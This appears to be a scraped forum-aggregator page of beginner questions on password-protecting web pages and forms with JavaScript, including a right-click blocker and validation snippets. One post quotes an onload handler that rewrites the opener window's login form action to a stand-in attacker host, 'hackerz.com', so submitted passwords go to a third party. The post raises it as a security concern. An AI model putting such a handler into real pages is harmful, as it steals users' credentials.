Password Protect A - Form - Content ?

Mar 29, 2010

I have a website where i sell items. I need to make it so a customer can go to the site and place a password to purchase a item. Customers sees a item and clicks on "buy now" It can not be a inconvenience where it will prompt for a user/password.

I would like to place a password box, and once a password is entered they will be able to select the "buy now" button. Simple...yes. But i search for 3 hours via the power of google and have yet to find a solution. I want everything to stay on the same page...if possible.

I have seen places like wordpress and joombla do password protect content but i guess it is because the use frames. I would like to do this with just JS and HTML.

View 3 Replies


ADVERTISEMENT

Simple Password Protect - Stop Going Back To The Page With The Form After Submit It

Feb 22, 2009

Let me start out by saying that this is for a small-time page with absolutely zero valuable information. PHP or server-side is way beyond the scope of my goals for the project.

Basically, I have a form on a page which I want to use to submit a password. However, I have realized that using the form submit always makes the browser return to the page with the form.

Well, that's not good when I want to redirect using javascript!

My javascript is:

Code:

My form HTML is:

Code:

How can I get this to stop going back to the page with the form after I submit it?

View 3 Replies View Related

Password Protect - Type In Is Completely Visible

Apr 29, 2009

I made this JavaScript that password protects a page. But the password you type in is completely visible! I want it so that the password are those black dots for each letter....

Here is the script:

View 6 Replies View Related

Password Protect Files / Sections On Web Page ?

Nov 2, 2009

I wanted to know is it possible to password protect some files in web page?For example, If someone wants to download file, browsers requests password(one for all visitors), idea is that some files and/or sections of web site is accessible to those who know the password..

View 9 Replies View Related

Page Password Protect - Automatically Link To Another Page

Nov 3, 2010

I am new to javascript but I can usually get examples of simple scripts I need to work, but can't figure this one out. I am trying to link to this page (link1.html) from another page and I want to password protect it. If the password is correct, I want to automatically link to another page (link2.html).

The reason I am trying to do it this way is if I don't I get a message saying IE is preventing scripts or ActiveX from running. If I don't click to allow it to run then it will automatically display the content of the page (link1.html) I am trying to protect. I will make link1 blank and put my data in link2.

And I realize this is a very low level of security.

View 4 Replies View Related

Protect Your Content

May 30, 2003

IM new to all this but the following code will deter visitors to your site, who have limited knowledge, copying your content. where nothing is 100% it will stop the chancers taking your hard work and using it as their own, I hope.

<script language="JavaScript">
<!--
var popup="Sorry, right-click is disabled.

This Site Copyright ©2002-2003";
function noway(go) {
if (document.all) {
if (event.button == 2) {
alert(popup);
return false;
}
}
if (document.layers) {
if (go.which == 3) {
alert(popup);
return false;
}
}
}
if (document.layers) {
document.captureEvents(Event.MOUSEDOWN);
}
document.onmousedown=noway;
// --> </script>

<script language="JavaScript1.1">
<!-- var debug = true;
function right(e)
{
if (navigator.appName == 'Netscape' && (e.which == 3 || e.which == 2)) return false;
else if (navigator.appName == 'Microsoft Internet Explorer' && (event.button == 2 || event.button == 3)) {
alert('This Page is fully protected! copyright ©2002-2003');
return false;
}

return true;
}
document.onmousedown=right;
if (document.layers) window.captureEvents(Event.MOUSEDOWN);
window.onmousedown=right;
//-->
</script>

View 1 Replies View Related

Password Protection - Encrypting The Password And The Content

Aug 28, 2008

This is a secure solution for password protection with JavaScript. It works by encrypting the password and the content. Nothing is revealed in the source code, and it cannot be beaten by disabling JavaScript.

The download contains three files:

Protect Content.html lets you generate your own protected content.

Demo.html is a protected document, and as long as it remains unbroken, it's your proof that this software works. You can also use it as a template for your own protected pages.

Demo, with hint.html is another protected document that tells you the password. This is meant to show that the first demo is not a trick or a fake.

View 14 Replies View Related

Created One Simple Login Form With 5 Fields Namely Username,email Id,password,retype Password And Phone No?

Jul 26, 2011

i have created one simple login form with 5 fields namely username,email id,password,retype password and phone no.i have created alert message for each function,so that when there is an error it displays alert message..now i have to replace all alert messages with inline validation(displays errors beside textbox).

<code>
<html>
<head>

[code]....

View 4 Replies View Related

Code For Simple Login Form Having Fields Username,email Id,password,retype Password And Phone No?

Jul 28, 2011

below is the code for simple login form having fields username,email id,password,retype password and phone no. i have done inline validation forcheckName() .i am not getting for the other fields can u tell me how to do it..

Code:
<html>
<head>

[code]....

View 6 Replies View Related

2 Password Boxes On Same Page Using JavaScript Kit Encrypted Password Generator

Apr 28, 2010

I'm having trouble getting two password boxes to work on the same page, which I created using the JavaScript Kit Encrypted Password Generator [URL].

I've used the code that this generator produces, with some modifications as given by cheesebagpipe [URL]. These changes enable the user to press the keyboard's enter key to submit the password (as an alternative to clicking the submit button), and will also refocus the text box and select the text in it if the user enters the wrong password.

The code works fine on pages with just one box (e.g. [URL]), but what changes are needed to make two work on the same page? (I'm new to web design and clueless when it comes to JavaScript, which I know isn't the most secure method of password protection, but will do for now).

At the moment, on pages with two boxes (e.g. [URL]), neither of the boxes work; this appears in the address bar instead: [URL] ('help!'=whatever has been entered in the text box).

The full code for both boxes is given below.

<div id="passwordBoxes">
<div id="password2">
<form name="password1" onsubmit="submitentry();return false;">
<span class="WhiteLogin">Keyboard classes login</span>

[Code].....

View 6 Replies View Related

Validate New Password With Repeat Password Before User Press Submit?

Feb 15, 2010

I want to validate new password with repeat password befor user press submit.

<p align="center">To reset your password, provide your current password</p>
<form id="form1" name="form1" method="post" action="pcq.php">
<table border="0" align="center" class="mytable2" style="margin-left:175px" >
<tr>

[Code].....

View 6 Replies View Related

Form Action Password Sniffing?

Jul 20, 2005

Let's say I have a login screen with a lots of advertisement (links).
One of those links is opened in a new window, and there is the following:

<body onload="opener.document.forms 0].action='http://www.hackerz.com/PasswordDatabase.php'">

After clicking the link and reading the advertisement, I go on "logging
in" on the first window. After I submit, the form data, username,
password and all is submitted to a third party..

View 2 Replies View Related

Get The Form To Validate - It Hangs Up On Password

May 28, 2011

[URL]how I can get the form to validate it hangs up on password.

View 1 Replies View Related

Sending Password OnClick From Form?

Jul 2, 2010

I have a registration form which is processed by using javascript and php. First I show registration.php and data from it is sended with ajax to registration_process.php

<form id="registration">
Name<input type="name" id="name" />
Password<input type="password" id="password" />
</form>

[Code]....

The problem is that is probably not secure way. Is any way to encrypt value of input? For example something like this var name=$('#name').encrypt().val();

View 3 Replies View Related

JQuery :: How To Get Password Length On Form

Sep 6, 2010

How can I get password length on form in jquery? I get the password with this:
var sifra=$("#input:password").val();
But when I want to check if password is entered and length is more than 6 characters, it
doesn't work:

if(! sifra){
$("#sifra_p").show();
$("#sifra_p").html("Niste unijeli šifru!");
greska=1;
}else{
if(sifra.length < 6){
$("#sifra_p").show();
$("#sifra_p").html("Šifra mora imati bar 6 znakova!");
greska=1;
}else{
$("#sifra_p").hide();
}}

What could be a problem and what could be a solution. This kind of check works fine
for normally inputs (check, select etc).

View 2 Replies View Related

Make Password Retype Password Field Same?

May 8, 2011

How would you make a password feild and a retype password feild and they have to be the same?

View 15 Replies View Related

Regex - Validating The Password Strength Of Form

Nov 1, 2011

validating the password strength of my form. I am actually looking for a regular expression that could force the users to have at least 2 of the following:

1. Upper and lower case.
2. Numbers
3. Symbols.

View 6 Replies View Related

JQuery :: Form - On Focus Change Type To Password

Aug 12, 2011

$(this).attr('type', "password");
(this).attr('type') = 'password'
neither of these work, am I doing something wrong?

Full code:
<div id="register-form">
<input type="text" class="reginput" name="username" defaultVal="username / URL" />
<input type="text" class="reginput" name="password" defaultVal="password"/>
<input type="text" class="reginput" name="e-mail" defaultVal="e-mail"/>
<div class="button-form">Create my free account</div>
</div>

$('.reginput').each( function () {
$(this).val($(this).attr('defaultVal'));
$(this).css({color:'#699fe7'});
});
$('.reginput').focus(function(){
if ( $(this).val() == $(this).attr('defaultVal') ){
$(this).val('');
$(this).css({color:'#2d5891'});
$(this).attr('type', "password");
//if ( $(this).attr('name') == 'password') { $(this).attr('type') = 'password' }
}});
$('.reginput').blur(function(){
if ( $(this).val() == '' ){
$(this).val($(this).attr('defaultVal'));
$(this).css({color:'#699fe7'});
}});

View 2 Replies View Related

Script To Validate Email Address And Password On A Form?

Mar 5, 2006

I've built a simple script to validate the email address and password on a form, the email part of it is working, but the password isn't, any idea what I've done wrong here? Code:

View 3 Replies View Related

Setting Visible Default Value For Password Form Field

Aug 17, 2004

I have a password field like this:

<input name="site_assword" type="password" class=loginform value="password" size="10" onfocus="this.value=''" onblur="if (this.value=='') {this.value='password'}">

It shows a default value which dissapears when the user clicks on the password field. However, because the input field type is set to 'password', whatever I set as the default value is masked by *

Is there any way around this to make normal text appear but still have the input box masked when they start to type the password?

View 5 Replies View Related

Copy Protect

Oct 25, 2005

how can I copy protect the text content of my webpage?

View 23 Replies View Related

Protect Myself From XSS Scripting?

Mar 9, 2010

If i use this to protect myself from XSS scripting, do you think that it will be enough? code...

View 2 Replies View Related

How To Protect .js Files In A Serious Way?

Sep 19, 2002

How to protect .js files in a serious way?

View 3 Replies View Related

Tell Password Function To Have Input Type="password" Onfocus?

Jan 24, 2011

How do I tell my password function to have input type="password" onfocus. I also want the text "Password" to disappear onfocus.

[Code]...

View 8 Replies View Related

The Best Way To Protect Javascript Code?

Dec 9, 2006

if speed, size is not a matter, i just want to protect the code as much
as possible, any library or tools do you think is the best solution
right now?

i know there is not a perfect solution, but as good as it can be is
okay...

p.s. need to be cross brower.

View 7 Replies View Related

How Can I Protect A Webpage In Javascript?

Aug 17, 2006

In practice you can't. While you could create a suitable
encryption system with a password in the page, the level of
support you need to do this means it's always simpler to do it
server-side. Anything that "protects" a page other
than the current one is definitely flawed.

View 8 Replies View Related







Copyrights 2005-15 www.BigResource.com, All rights reserved